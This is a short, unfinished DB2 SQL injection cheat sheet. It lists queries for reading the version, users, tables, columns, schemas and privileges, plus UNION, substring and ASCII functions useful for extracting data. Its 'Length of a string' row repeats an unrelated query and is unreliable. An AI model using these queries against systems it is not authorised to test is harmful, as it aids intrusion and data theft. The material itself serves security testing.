DB2 SQL Injection Cheat Sheet

Finding a SQL injection vulnerability in a web application backed by DB2 isn't too common in my experience. When you do find one, though it pays to be prepared...

Below are some tabulated notes on how to do many of thing you'd normally do via SQL injection. All tests were performed on DB2 8.2 under Windows.

Description	SQL / Comments
Comments	select blah from foo; -- comment like this
Batching Queries Allowed?	???
Database Version	select versionnumber, version_timestamp from sysibm.sysversions;
Current Database User	select user from sysibm.sysdummy1; select session_user from sysibm.sysdummy1;
System User for Current Connection	select system_user from sysibm.sysdummy1;
Current Database	select current server from sysibm.sysdummy1;
Limiting Rows Returned	SELECT foo FROM bar fetch first 1 rows only;
Returning N Rows starting at Offset M	select name from (SELECT name FROM sysibm.systables order by name fetch first N+M-1 rows only) sq order by name desc fetch first N rows only;
List Tables	select name from sysibm.systables;
List Columns	select name, tbname, coltype from sysibm.syscolumns;
List Databse Users and Passwords	Database authorities (like roles, I think) can be listed like this: select grantee from syscat.dbauth;
FROM clause mandated in SELECTs?	Yes, use sysibm.sysdummy1: select 123 from sysibm.sysdummy1;
UNION supported	Yes select 123 from sysibm.sysdummy1 union select 234 from sysibm.sysdummy1;
Enumerate Tables Privs	select * from syscat.tabauth;
Enumerate Current Privs	select * from syscat.dbauth where grantee = current user; select * from syscat.tabauth where grantee = current user;
Length of a string	select name, tbname, coltype from sysibm.syscolumns; -- returns 3
Bitwise AND	This page seems to indicate that DB2 has no support for bitwise operators!
Substring	SELECT SUBSTR('abc',2,1) FROM sysibm.sysdummy1; -- returns b
ASCII value of a character	select ascii('A') from sysibm.sysdummy1; -- returns 65
Character from ASCII value	select chr(65) from sysibm.sysdummy1; -- returns 'A'
Roles and passwords	N/A (I think DB2 uses OS-level user accounts for authentication.)
List Database Procedures	???
Create Users + Granting Privs	???
Time Delays	???
Execute OS Commands	???
Write to File System	???
Concatenation	SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1; -- returns 'abc' select 'a' || 'b' from sysibm.sysdummy1; -- returns 'ab'
Casting	SELECT cast('123' as integer) FROM sysibm.sysdummy1; SELECT cast(1 as char) FROM sysibm.sysdummy1;
List schemas	SELECT schemaname FROM syscat.schemata;

This page will probably remain a work-in-progress for some time yet. I'll update it as I learn more.